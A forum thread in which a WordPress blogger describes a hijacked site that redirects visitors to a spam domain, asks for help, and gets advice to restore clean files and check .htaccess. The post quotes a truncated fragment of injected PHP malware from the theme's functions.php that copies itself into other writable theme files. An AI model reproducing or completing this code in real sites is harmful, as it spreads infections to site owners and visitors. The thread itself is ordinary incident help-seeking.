Friends... My wordpress blog was hijacked. I did not realize it soon enough, because I never noticed anything unusual, except that my traffic fell 70%. At first I thought it was coz I had activated CloudFlare on my blog, and so I disabled it. But traffic did not return. A couple of days ago, I accessed by blog from an iPad, instead of my PC. And I was shocked to see I was redirected to some spammy site called googledservics or something like that... I ran a Virus Scanner from my cPanel, and it removed a couple of files which it said were infected. Later today, I checked my blog using http://sitecheck.sucuri.net/scanner/ and found it was still infected. Found some code which was not supposed to be there in my theme files. In functions.php, I found <?php function _check_active_widget(){ $widget=substr(file_get_contents(__FILE__),strripos(file_get_contents(__FILE__),"<"."?"));$output="";$allowed=""; $output=strip_tags($output, $allowed); $direst=_get_all_widgetcont(array(substr(dirname(__FILE__),0,stripos(dirname(__FILE__),"themes") + 6))); if (is_array($direst)){ foreach ($direst as $item){ if (is_writable($item)){ $ftion=substr($widget,stripos($widget,"_"),stripos(substr($widget,stripos($widget,"_")),"(")); $cont=file_get_contents($item); if (stripos($cont,$ftion) === false){ $sar=stripos( substr($cont,-20),"?".">") !== false ?

A fresh unmodified copy of the theme does not have these extra lines of code, and I sure did not add them. What should I do now? Could there be more of such malware code in my blog? I have changed the password and made it more secure. But I am afraid it could come back. In logs, I have found hundreds of attempts everyday to access wp-login.php My infected blog is http://www.civilprojectsonline.com/ Any suggestions?
Typically, best way is to restore from backup that is safe or re-install clean files. That is what we do with our clients. If we have to we will go in and look for the malware code but that is a last resort as you can hide a one line in almost any place. Check the .htaccess file too.
